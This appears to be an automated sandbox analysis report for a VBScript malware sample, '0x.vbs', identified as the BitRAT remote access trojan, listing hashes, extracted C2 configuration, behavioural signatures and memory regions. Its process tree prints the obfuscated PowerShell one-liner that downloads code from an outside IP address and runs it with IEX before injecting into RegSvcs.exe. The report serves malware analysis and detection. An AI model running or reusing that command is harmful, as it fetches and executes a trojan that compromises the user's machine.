Analysis
-
max time kernel
189s -
max time network
193s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
19-03-2024 20:57
Static task
static1
Behavioral task
behavioral1
Sample
0x.vbs
Resource
win7-20240221-en
General
-
Target
0x.vbs
-
Size
62KB
-
MD5
34d6b90b676cf2fe59153c0c01b59278
-
SHA1
396c2789cf583c24b047976dc91584aa703c067a
-
SHA256
acec28de93d3ea0afc8d7101cadc56f07ef03492d1b398769c2d20e358b3b846
-
SHA512
f20cfcd266b691c70f530b92244dd80eddbd5a5c19d1c08bd6b330ff15217e8fef5ca221adabdc75fc2ac1cb4aae8e729073fe85e13c43a89f5cb56c0310af2f
-
SSDEEP
1536:y9V9A9J9v9/9U9U9v9U9v9A9m9v9/9U9U9v9U9v:F
Malware Config
Extracted
http://193.233.132.136/a/a.png
Extracted
bitrat
1.38
193.233.132.136:4404
-
communication_password
93d93f0d629d26b535ee4c950717ab2b
-
tor_process
tor
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 19 1152 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation WScript.exe -
Processes:
resource yara_rule behavioral2/memory/5040-17-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-21-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-22-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-23-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-24-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-25-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-27-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-28-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-29-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-30-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-32-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-31-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-33-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-34-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-36-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-37-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-38-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-40-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-41-0x0000000000400000-0x00000000007D2000-memory.dmp upx behavioral2/memory/5040-42-0x0000000000400000-0x00000000007D2000-memory.dmp upx -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
RegSvcs.exepid process 5040 RegSvcs.exe 5040 RegSvcs.exe 5040 RegSvcs.exe 5040 RegSvcs.exe 5040 RegSvcs.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1152 set thread context of 5040 1152 powershell.exe RegSvcs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepid process 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe 1152 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeRegSvcs.exedescription pid process Token: SeDebugPrivilege 1152 powershell.exe Token: SeShutdownPrivilege 5040 RegSvcs.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
RegSvcs.exepid process 5040 RegSvcs.exe 5040 RegSvcs.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 4820 wrote to memory of 1152 4820 WScript.exe powershell.exe PID 4820 wrote to memory of 1152 4820 WScript.exe powershell.exe PID 1152 wrote to memory of 1128 1152 powershell.exe RegSvcs.exe PID 1152 wrote to memory of 1128 1152 powershell.exe RegSvcs.exe PID 1152 wrote to memory of 1128 1152 powershell.exe RegSvcs.exe PID 1152 wrote to memory of 5040 1152 powershell.exe RegSvcs.exe PID 1152 wrote to memory of 5040 1152 powershell.exe RegSvcs.exe PID 1152 wrote to memory of 5040 1152 powershell.exe RegSvcs.exe PID 1152 wrote to memory of 5040 1152 powershell.exe RegSvcs.exe PID 1152 wrote to memory of 5040 1152 powershell.exe RegSvcs.exe PID 1152 wrote to memory of 5040 1152 powershell.exe RegSvcs.exe PID 1152 wrote to memory of 5040 1152 powershell.exe RegSvcs.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0x.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://193.233.132.136/a/a.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3rqgkdvj.gfp.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1152-20-0x00007FFCA91A0000-0x00007FFCA9C61000-memory.dmpFilesize
10.8MB
-
memory/1152-10-0x00007FFCA91A0000-0x00007FFCA9C61000-memory.dmpFilesize
10.8MB
-
memory/1152-11-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmpFilesize
64KB
-
memory/1152-12-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmpFilesize
64KB
-
memory/1152-13-0x00007FFCA91A0000-0x00007FFCA9C61000-memory.dmpFilesize
10.8MB
-
memory/1152-14-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmpFilesize
64KB
-
memory/1152-15-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmpFilesize
64KB
-
memory/1152-16-0x0000028BEE7A0000-0x0000028BEE7B2000-memory.dmpFilesize
72KB
-
memory/1152-5-0x0000028BF0960000-0x0000028BF0982000-memory.dmpFilesize
136KB
-
memory/5040-26-0x0000000074F80000-0x0000000074FB9000-memory.dmpFilesize
228KB
-
memory/5040-32-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-22-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-23-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-24-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-25-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-17-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-27-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-28-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-29-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-30-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-21-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-31-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-33-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-34-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-35-0x0000000075300000-0x0000000075339000-memory.dmpFilesize
228KB
-
memory/5040-36-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-37-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-38-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-40-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-41-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB
-
memory/5040-42-0x0000000000400000-0x00000000007D2000-memory.dmpFilesize
3.8MB